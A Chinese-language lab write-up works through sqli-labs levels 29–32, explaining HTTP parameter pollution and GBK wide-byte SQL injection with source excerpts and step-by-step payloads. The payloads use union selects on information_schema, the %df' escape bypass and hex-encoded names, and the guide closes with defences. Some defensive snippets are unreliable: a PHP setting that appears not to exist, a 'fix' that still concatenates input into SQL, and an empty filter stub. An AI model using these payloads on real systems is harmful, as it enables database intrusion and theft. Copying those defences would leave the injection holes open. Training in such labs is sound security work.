1. 靶场环境与测试目标概述
sqli-labs是一个专门用于学习SQL注入技术的开源靶场项目,通过模拟真实场景中的各种SQL注入漏洞,帮助安全研究人员和开发者深入理解注入原理与防御方法。本次我们将重点分析第29-32关,这几关涵盖了两种典型的注入技术:HTTP参数污染(HPP)和GBK宽字节注入。
对于Web安全初学者而言,理解这些注入技术的底层原理至关重要。不同于简单的单引号闭合注入,这两类技术需要我们对HTTP协议参数处理机制和字符集编码有更深入的认识。下面我将结合源码和实际测试过程,详细拆解每种技术的绕过原理和payload构造方法。
2. HTTP参数污染技术解析
2.1 第29关:基础HPP注入
2.1.1 漏洞环境分析
第29关的登录页面源码显示存在三个关键文件,其中login.php包含核心处理逻辑。关键代码段如下:
php复制$qs = $_SERVER['QUERY_STRING'];
$id1 = java_implimentation($qs);
$id = $_GET['id'];
whitelist($id1);
$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
这里存在一个典型的安全问题:虽然对$id1进行了白名单校验,但实际执行的SQL语句使用的是未经校验的$id。这种参数处理不一致性正是HPP攻击的突破口。
2.1.2 HPP攻击原理详解
HTTP参数污染(HTTP Parameter Pollution)的核心在于利用服务器对同名参数的处理差异。在本案例中:
java_implimentation()函数处理的是原始查询字符串QUERY_STRING- 而
$_GET['id']取的是PHP解析后的最后一个id参数值 - 白名单校验只针对第一个id参数,SQL查询却使用第二个id参数
这种前后端参数解析的不一致性,使得攻击者可以通过构造?id=1&id=payload这样的请求绕过安全检测。
2.1.3 分步攻击流程
- 探测回显位:
sql复制?id=1&&id=2'order by 1,2,3 -- fa
通过逐步增加order by后的数字,确定查询返回的列数。
- 确定显示位:
sql复制?id=1&&id=-2'union select 1,2,3 -- fa
使用union查询确定页面中哪些位置会显示查询结果。
- 信息收集:
sql复制?id=1&&id=-2'union select 1,2,group_concat(schema_name) from information_schema.schemata -- fa
获取数据库schema信息,为后续注入做准备。
关键技巧:使用
-2'确保原查询不返回结果,使union查询的结果能够显示出来。
2.2 第30关:双引号闭合变种
第30关与29关的核心区别在于SQL查询语句的闭合方式由单引号变为双引号。观察源码可以发现:
php复制$sql = "SELECT * FROM users WHERE id=\"$id\" LIMIT 0,1";
因此我们需要调整payload的闭合方式:
sql复制?id=1&&id=-2"union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="ctfshow" -- fa
注意事项:在实际测试中,要注意不同数据库对双引号的处理可能不同。MySQL中双引号通常用于标识符引用,但在某些配置下也可用于字符串引用。
2.3 第31关:括号+双引号闭合
第31关进一步增加了闭合复杂度,SQL语句变为:
php复制$sql = "SELECT * FROM users WHERE id=(\"$id\") LIMIT 0,1";
对应的payload需要包含括号和双引号:
sql复制?id=1&&id=-2")union select 1,2,flag4s from ctfshow.flags -- fa
这类多层闭合的注入点在实际Web应用中也很常见,特别是在使用框架或ORM生成的SQL语句中。
3. GBK宽字节注入技术解析
3.1 第32关:宽字节注入原理
3.1.1 漏洞环境分析
第32关的关键防御代码是:
php复制function check_addslashes($string) {
$string = preg_replace('/'. preg_quote('\\') .'/', '\\\\\\', $string);
$string = preg_replace('/\'/i', '\\\'', $string);
$string = preg_replace('/\"/', '\\"', $string);
return $string;
}
mysql_query("SET NAMES gbk");
这种配置下,当输入包含单引号时,会被转义为\'。但由于数据库连接使用GBK编码,我们可以利用GBK的双字节特性使反斜杠被"吞掉"。
3.1.2 宽字节绕过机制
典型的绕过过程:
- 输入
%df',经过addslashes变为%df\' - 在GBK编码中,
%df\会被解析为一个汉字(如"運") - 结果是后面的单引号成功逃逸,形成有效的SQL注入
3.1.3 编码绕过技巧
当需要注入的内容被过滤时,可以使用十六进制编码绕过:
sql复制?id=-1%df'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x63746673686f77 -- da
这里0x63746673686f77是"ctfshow"的十六进制表示,避免了直接使用单引号。
实战经验:在真实环境中,除了十六进制编码,还可以考虑使用char()函数、base64编码等多种方式绕过过滤。
4. 防御方案与最佳实践
4.1 针对HPP的防御
- 参数统一处理:
php复制// 应该统一使用同一个参数值
$id = $_GET['id'];
$filtered_id = whitelist($id);
$sql = "SELECT * FROM users WHERE id='$filtered_id'";
- 禁用多重参数:
php复制// 在配置中设置
ini_set('request.parse_str', false);
4.2 针对宽字节注入的防御
- 统一字符集:
php复制// 使用UTF-8等单字节友好的字符集
mysql_query("SET NAMES utf8mb4");
- 预处理语句:
php复制$stmt = $pdo->prepare("SELECT * FROM users WHERE id=?");
$stmt->execute([$id]);
- 双重转义检测:
php复制function safe_input($input) {
if (preg_match('/%[0-9a-fA-F]{2}/', $input)) {
// 处理可能的编码攻击
}
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}
5. 测试过程中的常见问题与解决
5.1 HPP注入不成功的情况
问题现象:构造的HPP payload没有生效,仍然被白名单拦截。
排查步骤:
- 检查服务器是否真的接收了多个同名参数
- 确认后端框架/语言对多重参数的处理顺序
- 测试不同位置参数的影响(如?id=1&id=2 vs ?id=2&id=1)
解决方案:使用Burp Suite等工具重放请求,观察参数处理差异。
5.2 宽字节注入失败的可能原因
问题现象:%df'没有被正确解析,单引号仍然被转义。
可能原因:
- 数据库连接未使用GBK编码
- Web服务器层对URL进行了额外解码
- 防火墙/IDS拦截了特殊字符
验证方法:
sql复制?id=1%df%27%20and%201=1%20--+
?id=1%df%27%20and%201=2%20--+
观察两次请求的响应差异。
5.3 编码转换问题
当需要使用十六进制绕过时,常见问题包括:
- 忘记添加0x前缀
- 大小写不统一导致编码失败
- 字符串长度计算错误
实用技巧:使用MySQL的hex()函数验证编码:
sql复制SELECT hex('ctfshow'); -- 返回 63746673686F77
6. 扩展测试与深入研究建议
对于想进一步掌握这些注入技术的读者,我建议:
- 搭建本地测试环境:修改sqli-labs源码,尝试不同的过滤规则和数据库配置
- 研究其他数据库:在PostgreSQL、SQL Server等数据库中测试HPP和宽字节注入
- 自动化工具分析:使用sqlmap等工具测试,对比手动注入的结果
- 防御方案实现:尝试编写安全的参数处理函数,并测试其有效性
在实际渗透测试中,这些技术往往需要组合使用,并且要考虑WAF绕过、日志混淆等高级技巧。理解底层原理才能灵活应对各种防护措施。